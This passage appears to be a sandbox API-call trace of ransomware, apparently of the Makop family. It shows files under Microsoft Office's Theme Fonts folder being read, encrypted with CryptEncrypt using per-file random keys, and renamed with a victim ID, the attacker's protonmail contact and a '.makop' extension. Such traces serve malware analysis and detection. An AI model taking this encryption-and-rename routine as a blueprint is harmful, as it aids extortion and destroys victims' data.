hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0160.920] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.920] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0160.920] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.921] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.921] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.921] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.921] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.921] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.921] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.921] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.922] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe0f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe0f, lpOverlapped=0x0) returned 1 [0160.922] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe10, dwBufLen=0xe10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe10) returned 1 [0160.922] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.922] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe10, lpOverlapped=0x0) returned 1 [0160.922] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.922] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.922] SetEndOfFile (hFile=0xf0) returned 1 [0160.929] GetProcessHeap () returned 0x48a0000 [0160.929] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0160.929] GetProcessHeap () returned 0x48a0000 [0160.929] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.929] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0160.930] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.931] CloseHandle (hObject=0xf0) returned 1 [0160.931] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="COMPOS~1.XML")) returned 1 [0160.931] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml") returned 78 [0160.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.932] GetProcessHeap () returned 0x48a0000 [0160.932] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.932] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.932] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0160.936] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.936] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.937] GetProcessHeap () returned 0x48a0000 [0160.937] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0160.937] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0160.937] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.937] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0160.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.937] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.937] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.938] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.938] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.938] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.938] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe0e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe0e, lpOverlapped=0x0) returned 1 [0160.938] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe10, dwBufLen=0xe10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe10) returned 1 [0160.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.938] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe10, lpOverlapped=0x0) returned 1 [0160.938] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.939] SetEndOfFile (hFile=0xf0) returned 1 [0160.944] GetProcessHeap () returned 0x48a0000 [0160.945] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0160.945] GetProcessHeap () returned 0x48a0000 [0160.945] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.945] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0160.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.947] CloseHandle (hObject=0xf0) returned 1 [0160.947] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="CONCOU~1.XML")) returned 1 [0160.947] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml") returned 78 [0160.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.948] GetProcessHeap () returned 0x48a0000 [0160.948] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.948] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.948] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.949] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0160.953] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.953] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.953] GetProcessHeap () returned 0x48a0000 [0160.953] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0160.953] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0160.953] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.953] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0160.953] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.954] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.954] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.954] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.954] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.954] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.954] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.954] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.955] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdc6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xdc6, lpOverlapped=0x0) returned 1 [0160.955] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdd0, dwBufLen=0xdd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdd0) returned 1 [0160.955] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.955] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xdd0, lpOverlapped=0x0) returned 1 [0160.955] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.955] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.955] SetEndOfFile (hFile=0xf0) returned 1 [0160.962] GetProcessHeap () returned 0x48a0000 [0160.962] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0160.963] GetProcessHeap () returned 0x48a0000 [0160.963] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.963] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0160.963] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.964] CloseHandle (hObject=0xf0) returned 1 [0160.964] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13f36100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13f36100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0160.964] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml") returned 76 [0160.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.967] GetProcessHeap () returned 0x48a0000 [0160.967] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.967] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.967] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0160.967] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.971] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.971] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.971] GetProcessHeap () returned 0x48a0000 [0160.971] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0160.971] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0160.971] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.971] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0160.971] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0160.972] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0160.972] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0160.972] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0160.972] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0160.972] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0160.972] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0160.972] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.972] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xefc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xefc, lpOverlapped=0x0) returned 1 [0160.973] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf00, dwBufLen=0xf00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf00) returned 1 [0160.973] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.973] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf00, lpOverlapped=0x0) returned 1 [0160.973] CryptDestroyKey (hKey=0x48c7128) returned 1 [0160.973] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.974] SetEndOfFile (hFile=0xf0) returned 1 [0160.981] GetProcessHeap () returned 0x48a0000 [0160.981] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0160.981] GetProcessHeap () returned 0x48a0000 [0160.981] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0160.981] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0160.981] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0160.983] CloseHandle (hObject=0xf0) returned 1 [0160.983] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe48, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="ELEMEN~1.XML")) returned 1 [0160.983] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml") returned 78 [0160.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0160.984] GetProcessHeap () returned 0x48a0000 [0160.984] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0160.984] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0160.984] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 